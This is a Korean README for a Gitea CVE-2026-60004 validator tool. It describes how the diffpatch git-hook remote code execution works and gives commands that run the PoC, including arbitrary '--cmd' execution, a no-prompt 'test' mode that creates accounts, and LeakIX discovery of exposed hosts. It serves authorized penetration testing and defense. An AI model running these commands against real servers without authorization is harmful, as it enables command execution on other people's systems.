
🫖 Gitea CVE-2026-60004에 대한 계약 연관 탐지 및 승인된 검증 도구
Gitea
diffpatchGit-hook 원격 코드 실행 취약점을 위한 독립형 탐지, 평가, 계약 연동 검증 도구입니다.
scanner.py는 침투 테스터, 방어자, 보안 연구자에게 의존성 없는 단일 도구를 제공합니다:
이 프로젝트는 승인된 보안 테스트, 방어적 검증, 연구 및 교육 목적으로만 제공됩니다. 활성 모드는 소유하거나 명시적 서면 허가를 받은 시스템에 대해서만 실행하십시오. 모든 관련 법률, 계약, 참여 규칙 및 공개 요구 사항을 준수할 책임은 사용자에게 있습니다.
저자와 기여자는 오용, 손상, 서비스 중단, 데이터 손실 또는 법적 결과에 대해 책임을 지지 않습니다. 활성 PoC는 Gitea 운영 체제 사용자로 명령을 실행하고 비공개 저장소를 생성하여 서버 상태를 변경합니다. 다른 RCE 검증 도구와 동일하게 취급하십시오.
CVE-2026-60004는 Gitea 저장소의 diffpatch 워크플로에 영향을 미칩니다. 저장소 작성자는 공유된 베어 임시 클론에 Git 훅을 설치하는 제어된 패치 콘텐츠를 제출할 수 있습니다. 제작된 패치를 두 번 적용하면 add/add 충돌이 발생하여 Gitea 서비스 계정으로 훅이 실행됩니다.
Forgejo 및 기타 포크는 자동으로 취약한 것으로 분류되지 않습니다. 해당 구현은 독립적으로 검토되어야 합니다.
활성 모드는 대상 목록이나 와일드카드를 허용하지 않습니다.
PATH에 Git 사용 가능discover용 LeakIX API 키스캐너는 Python 표준 라이브러리만 사용합니다. pip install이 필요하지 않습니다.
git clone https://github.com/InfoSec-DB/CVE-2026-60004-Gitea-Validator.git
cd CVE-2026-60004-Gitea-Validator
python3 scanner.py --help
python3 scanner.py verify \
https://gitea.example \
--contract-number ENG-2026-001 \
--output evidence/version.json
python3 scanner.py recon \
https://gitea.example \
--contract-number ENG-2026-001 \
--output evidence/recon.json
버전 탐지는 악용 가능성의 증거가 아닌 평가 신호입니다. 백포트 패치, 사용자 지정 빌드, 리버스 프록시 및 포크는 수동 검토가 필요할 수 있습니다.
셸 기록에서 비밀번호를 숨기려면 명령 환경에 배치하십시오:
GITEA_PASSWORD='replace-with-approved-test-password' \
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--username audit-user \
--execute-poc \
--write-client-marker \
--output evidence/confirmation.json
자동화를 위해 --yes-i-am-authorized를 제공하지 않는 한, confirm은 계약에 바인딩된 확인 문구를 입력하도록 요청합니다. 기본 원격 명령은 id입니다.
계정 생성이 참여 규칙에 의해 허용되는 경우에만 사용하십시오:
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--register-test-account \
--credential-log evidence/credentials.txt \
--execute-poc \
--write-client-marker \
--output evidence/confirmation.json
비밀번호는 비공개 자격 증명 로그에만 저장되며 JSON 증거나 터미널 결과 패널에는 중복되지 않습니다.
python3 scanner.py test \
https://gitea.example \
--contract-number ENG-2026-001
🚨 test는 활성 편의 명령입니다. 등록이 활성화된 영향받는 대상에서 계정과 비공개 저장소를 자동으로 생성하고, 계약 마커를 작성하고, id를 실행하고, 결과를 afterdark-results/ 아래에 저장합니다. 의도적으로 추가 대화형 프롬프트가 없으므로 호출 자체가 승인 확인입니다.
좁은 범위의 명시적으로 승인된 검증을 위해 confirm 및 test는 --cmd를 허용합니다. 충분하다면 기본 id 프로필을 선호하십시오.
GITEA_PASSWORD='replace-with-approved-test-password' \
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--username audit-user \
--execute-poc \
--cmd 'uname -a' \
--output evidence/confirmation.json
export LEAKIX_API_KEY='replace-with-your-key'
python3 scanner.py discover \
--method app \
--pages 3 \
--output evidence/leakix.json
해당 호스트에 접촉하지 않고 알려진 호스트의 LeakIX 레코드를 검사하려면:
python3 scanner.py discover \
--method host \
--target gitea.example \
--pages 1 \
--output evidence/leakix-host.json
탐지 결과는 리드일 뿐이며 나열된 시스템을 스캔하거나 악용할 권한이 아닙니다.
hooks/post-index-change 파일을 추가하는 패치를 빌드합니다.diffpatch API 엔드포인트에 패치를 두 번 제출합니다.0600 파일을 사용하여 계약 연동 증거를 작성하고 기존 증거를 덮어쓰지 않습니다.인증된 HTTP 리디렉션은 선택한 대상 출처로 제한됩니다. Git 출력 검색은 인증 헤더가 활성화된 동안 리디렉션도 비활성화합니다.
활성 실행은 다음을 생성할 수 있습니다:
confirmation.json — 타임스탬프, 대상, 계정 이름, 버전 평가, 반환 코드 및 캡처된 출력confirmation.command-output.txt — 전체 원격 명령 출력credentials.txt — 요청 시 생성된 일회용 계정 비밀번호embedded-result.txt 콘텐츠이러한 파일에는 민감한 참여 데이터가 포함될 수 있습니다. 포함된 .gitignore에 의해 무시되고 모드 0600으로 생성되며 증거 처리 정책에 따라 저장 시 암호화되어야 합니다.
이 도구는 증거를 검토할 수 있도록 자동 삭제를 의도적으로 피합니다. 테스트 후 대상 관리자는 다음을 수행해야 합니다:
audit-* 계정 삭제(생성된 경우)afterdark-* 저장소 삭제/tmp/gitea-validation-*/client.txt 마커 제거1.27.1 이상으로 업그레이드PoC 실행 성공은 Gitea 서비스 계정으로 명령 실행을 입증합니다. 그 자체로 루트 접근, 지속성, 측면 이동 또는 기본 호스트 손상을 증명하지는 않습니다.
id 또는 whoami로 제한confirm에 대한 명시적 --execute-poc 스위치포함된 테스트는 로컬이며 네트워크 요청을 하지 않습니다:
python3 -m unittest discover -s tests -v
책임 있는 개선을 환영합니다—특히 호환성 수정, 오탐 감소, 증거 품질 개선 및 더 안전한 정리 워크플로. 실제 대상 세부 정보, 자격 증명, 비공개 증거 또는 무기화된 페이로드를 제출하지 마십시오.
이 도구 자체의 보안 문제는 SECURITY.md를 따르십시오.
좋은 PoC는 재현 가능하고, 귀속 가능하며, 정리하기 지루해야 한다고 믿는 신중한 연구자를 위해 만들어졌습니다. 🛡️
| 항목 | 세부 사항 |
|---|
| 제품 | Gitea |
| 영향받는 릴리스 | >= 1.17.0, < 1.27.1 |
| 패치된 릴리스 | 1.27.1 |
| 영향 | Gitea OS 사용자로 원격 명령 실행 |
| 필요한 접근 권한 | 저장소 쓰기 권한; 공개 등록 시 공격자가 생성할 수 있음 |
| 권고 | GHSA-rcr6-4jqh-j84m |
| 모드 | 네트워크 동작 | 대상 상태 변경? | 목적 |
|---|
discover | LeakIX만 조회 | 아니요 | 기존 타사 인덱스 검색; 발견된 호스트에는 접촉하지 않음 |
recon | 정확히 하나의 대상 | 아니요 | 고정 공개 경로 및 대상이 게시한 Swagger 문서 목록화 |
verify | 정확히 하나의 대상 | 아니요 | /api/v1/version을 읽고 보고된 Gitea 버전 분류 |
test | 정확히 하나의 대상 | 예 | 편의 흐름: 버전 게이트, 등록 확인, 일회용 계정, 마커, id, 증거 |
confirm | 정확히 하나의 대상 | 예 | 승인된 계정 또는 명시적 일회용 등록으로 통제된 확인 |